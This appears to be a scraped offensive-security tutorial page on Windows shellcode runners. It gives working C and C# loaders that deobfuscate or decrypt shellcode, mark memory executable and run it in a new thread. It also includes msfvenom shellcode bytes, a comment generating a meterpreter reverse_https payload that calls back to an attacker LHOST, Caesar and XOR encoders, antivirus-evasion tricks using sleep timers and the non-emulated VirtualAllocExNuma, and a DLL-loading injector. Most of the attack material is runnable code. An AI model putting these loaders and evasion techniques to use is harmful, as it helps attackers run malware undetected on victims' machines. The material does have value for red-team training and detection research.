/*API functions used to perform the injection part:- VirtualAlloc: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc- VirtualProtect: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect- CreateThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread*/// Example of continuation of .\Hellshell.exe .\payload.bin uuidintmain() { PBYTE pDeobfuscatedPayload =NULL; SIZE_T sDeobfuscatedSize =NULL;// Prinitng some informationprintf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());printf("[#] Press <Enter> To Decrypt ... ");getchar();printf("[i] Decrypting ..."); /* This is what we need to change depending on the encryption technique used. Add this main function below the encryption technique used and change this acording to the specific decryption function.
Go to encryption section to locate the parameters needed for each one. */if (!UuidDeobfuscation(UuidArray, NumberOfElements,&pDeobfuscatedPayload,&sDeobfuscatedSize)) {return-1; }printf("[+] DONE !\n");printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);printf("[#] Press <Enter> To Allocate ... ");getchar();// Allocating memory the size of sDeobfuscatedSize// With memory permissions set to read and write so that we can write the payload later PVOID pShellcodeAddress =VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (pShellcodeAddress ==NULL) {printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());return-1; }printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);printf("[#] Press <Enter> To Write Payload ... ");getchar();// Copying the payload to the allocated memorymemcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);// Cleaning the pDeobfuscatedPayload buffer, since it is no longer neededmemset(pDeobfuscatedPayload,'\0', sDeobfuscatedSize); DWORD dwOldProtection =NULL;// Setting memory permissions at pShellcodeAddress to be executableif (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());return-1; }printf("[#] Press <Enter> To Run ... ");getchar();// Running the shellcode as a new thread's entry if (CreateThread(NULL,NULL, pShellcodeAddress,NULL,NULL,NULL)==NULL) {printf("[!] CreateThread Failed With Error : %d \n", GetLastError());return-1; }// Freeing pDeobfuscatedPayloadHeapFree(GetProcessHeap(),0, pDeobfuscatedPayload);printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
C# Shellcode Runners
- Basic Shellcode Runner
! Before compiling this project, we must set the CPU architecture to x64 since we are using 64-bit shellcode. In VS, this is done through the CPU drop down menu > Configuration Manager > <New…> > accept the new platform as x64.
usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingSystem.Diagnostics;usingSystem.Runtime.InteropServices;namespaceConsoleApp1{classProgram {/* The first step is to use DllImport to import the three Win32 APIs and configure the appropriateargument data types. */ [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)]staticexternIntPtrVirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]staticexternUInt32WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);staticvoidMain(string[] args) {/* The first, buf, is our shellcode. Next is our size variable that stores the size of our buf variable, Weuse Marshal.Copy, but we don’t have to specify the .NET namespace of [System.Runtime.InteropServices.Marshal]. */byte[] buf =newbyte[630] //Here we copy the shellcode generated with other program like msfvenom {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, // ...0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };/* WaitForSingleObject API to let the shellcode finish execution. */int size =buf.Length;IntPtr addr =VirtualAlloc(IntPtr.Zero,0x1000,0x3000,0x40);Marshal.Copy(buf,0, addr, size);IntPtr hThread =CreateThread(IntPtr.Zero,0, addr,IntPtr.Zero,0,IntPtr.Zero);WaitForSingleObject(hThread,0xFFFFFFFF); } }}
- Make it available for Reflective Load
To create a managed DLL that can be available through reflection, for example, for Powershell Reflective Load, we need to copy the DllImport statements as-is and then create a runner method with the prefixes public, static, and void:
- Encrypting, Sleep Timers and Non-emulated APIs for the C# Shellcode Runner
To do a Caesar cipher encryption, first we create a C# application named Helper:
usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;namespaceHelper{classProgram {staticvoidMain(string[] args) { //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.XX.XX LPORT=443 -f csharpbyte[] buf =newbyte[770] {};byte[] encoded =newbyte[buf.Length];for (int i =0; i <buf.Length; i++) {encoded[i] = (byte)(((uint)buf[i] +2) &0xff); }StringBuilder hex =newStringBuilder(encoded.Length*2);foreach (byte b in encoded) {hex.AppendFormat("0x{0:x2}, ", b); }Console.WriteLine("The payload is: "+hex.ToString());Console.WriteLine("Length was: "+buf.Length.ToString()); } }}
Then we create a C# app named Met and implement that encoded shellcode:
usingSystem;usingSystem.Diagnostics;usingSystem.Runtime.InteropServices;usingSystem.Net;usingSystem.Text;usingSystem.Threading;namespaceMet{classProgram { [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)]staticexternIntPtrVirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]staticexternUInt32WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);/*VirtualAllocExNuma API. The “Numa” suffix (which refers to asystem design to optimize memory usage on multi-processor servers303) makes this a relatively
uncommon API. In essence, this API allocates memory just like VirtualAllocEx but it is optimized to be used with a specific CPU. Obviously, this type of optimization is not required on a standard single-CPU
workstation. Because of this, some antivirus vendors do not emulate VirtualAllocExNuma and, in this case, its execution by the AV emulator will not result in a successful memory allocation.
We could also use Win32 FlsAlloc*/ [DllImport("kernel32.dll", SetLastError =true, ExactSpelling =true)] static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[DllImport("kernel32.dll")]staticexternvoidSleep(uint dwMilliseconds); [DllImport("kernel32.dll")]staticexternIntPtrGetCurrentProcess();staticvoidMain(string[] args) { //Sleep timer bypassDateTime t1 =DateTime.Now;Sleep(2000);double t2 =DateTime.Now.Subtract(t1).TotalSeconds;if (t2 <1.5) {return; }Console.WriteLine("Sleep timer bypassed!"); //Non emulated api'sIntPtr mem =VirtualAllocExNuma(GetCurrentProcess(),IntPtr.Zero,0x1000,0x3000,0x4,0);if (mem ==null) {return; }Console.WriteLine("API Emulation done!");byte[] buf =newbyte[770] { };byte[] encoded =newbyte[buf.Length];for (int i =0; i <buf.Length; i++) {encoded[i] = (byte)(((uint)buf[i] -2) &0xFF); } buf = encoded;Console.WriteLine("Cipher decrypted!");int size =buf.Length;IntPtr addr =VirtualAlloc(IntPtr.Zero,0x1000,0x3000,0x40);Console.WriteLine("Allocation Complete!");Marshal.Copy(buf,0, addr, size);Console.WriteLine("Copy done!");IntPtr hThread =CreateThread(IntPtr.Zero,0, addr,IntPtr.Zero,0,IntPtr.Zero);Console.WriteLine("Thread Created");WaitForSingleObject(hThread,0xFFFFFFFF);Console.WriteLine("Reached End"); } }}
- XOR Encoder
We can apply this to all the other c# payloads we are discussing, but we take the Shellcode Runner as an example.
Once we have encoded our shellcode with the previous XOR Encoder or with other tool (Shellcode Encoders), we can use the following C# code to decode it and add with the previous parameters, create a Shellcode Runner:
The reflection technique is used to resolve any Win32 API without using the Add-Type keyword
This completely avoids writing to the hard disk.
In review, we repeat the LookupFunc method that resolves the Win32 API. Then we create the DelegateType. Finally, we call GetDelegateForFunctionPointer to link the function address and the DelegateType.
Open Visual Studio, create a new project, set the programming language to C++, and select Dynamic-Link Library (DLL). This will create a DLL skeleton code that will be modified.
Remove precompiled headers.
- DLL to inject (C)
This is a message box, replace with the actual payload.
The code below will take the DLL's name as a command line argument, load it using LoadLibraryA , and perform some error checking to ensure the DLL loaded successfully.
#include<Windows.h>#include<stdio.h>intmain(int argc,char* argv[]) {if (argc <2) {printf("[!] Missing Argument; Dll Payload To Run\n");return-1; }printf("[i] Injecting \"%s\" To The Local Process Of Pid: %d\n", argv[1], GetCurrentProcessId());printf("[+] Loading Dll... ");if (LoadLibraryA(argv[1])==NULL) {printf("[!] LoadLibraryA Failed With Error: %d\n", GetLastError());return-1; }printf("[+] DONE!\n");printf("[#] Press <Enter> To Quit ... ");getchar();return0;}